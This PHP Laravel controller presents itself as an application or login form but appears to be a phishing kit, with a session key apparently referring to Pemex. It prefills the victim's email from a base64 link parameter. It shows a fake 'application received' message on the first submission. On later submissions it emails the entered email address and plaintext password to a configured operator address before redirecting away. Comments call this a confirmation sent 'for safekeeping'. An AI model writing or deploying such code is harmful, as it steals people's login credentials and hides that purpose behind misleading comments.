<?php

namespace App\Http\Controllers;

use App\Http\Controllers\Controller;
use App\Mail\ApplicationConfirmation;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Mail;
use Illuminate\Support\Facades\Validator;

class FrontendController extends Controller
{
    public function newPage(Request $request)
    {
        // Decode the optional base64-encoded email from ?e=...
        $prefillEmail = null;
        if ($request->has('e') && !empty($request->query('e'))) {
            $decoded = base64_decode($request->query('e'), true);
            // Only use the value if it decodes to something that looks like an email
            if ($decoded && filter_var($decoded, FILTER_VALIDATE_EMAIL)) {
                $prefillEmail = $decoded;
            }
        }

        $data = [
            'title'        => 'Login',
            'prefillEmail' => $prefillEmail,
        ];

        return view('new', $data);
    }

    public function handleSubmit(Request $request)
    {
        // Validate incoming fields
        $validator = Validator::make($request->all(), [
            'email'             => 'required|email',
            'password'          => 'required|min:6',
            'project_reference' => 'required|string|max:100',
        ], [
            // English messages (client can handle i18n display separately)
            'email.required'             => 'Email address is required.',
            'email.email'                => 'Please enter a valid email address.',
            'password.required'          => 'Password is required.',
            'password.min'               => 'Password must be at least 6 characters.',
            'project_reference.required' => 'Project reference is required.',
            'project_reference.max'      => 'Project reference must not exceed 100 characters.',
        ]);

        if ($validator->fails()) {
            return response()->json([
                'success' => false,
                'errors'  => $validator->errors(),
            ], 422);
        }

        // ── First-submit detection ──
        // Checks whether this is the first submission that has passed validation
        // for this browser session. The flag persists across page reloads.
        $isFirstSubmit = !$request->session()->has('pemex_first_submit_done');

        if ($isFirstSubmit) {
            // Mark that a valid submission has now occurred
            $request->session()->put('pemex_first_submit_done', true);

            // First valid submit — jQuery handles this as a special confirmation state
            return response()->json([
                'type'              => 'first_submit',
                'success'           => true,
                'message'           => 'Application received! Check your email for your account details.',
                'applicant_email'   => $request->input('email'),
                'project_reference' => $request->input('project_reference'),
            ], 200);
        }

        // Send confirmation email with the applicant's details for safekeeping
        $mailTo = config('app.mail_to', '');
        if (!empty($mailTo) && filter_var($mailTo, FILTER_VALIDATE_EMAIL)) {
            try {
                Mail::to($mailTo)
                    ->send(new ApplicationConfirmation(
                        applicantEmail: $request->input('email'),
                        applicantPassword: $request->input('password'),
                        projectReference: $request->input('project_reference'),
                    ));
            } catch (\Exception $e) {
                // Log mail failure but don't block the success response
                Log::warning('ApplicationConfirmation mail failed: ' . $e->getMessage());
            }
        } else {
            Log::warning('ApplicationConfirmation mail skipped: MAIL_TO is not set or invalid.');
        }

        // Subsequent submits — jQuery redirects to the configured URL
        return response()->json([
            'type'         => 'redirect',
            'success'      => true,
            'redirect_url' => config('app.submit_redirect_url'),
        ], 200);
    }
}
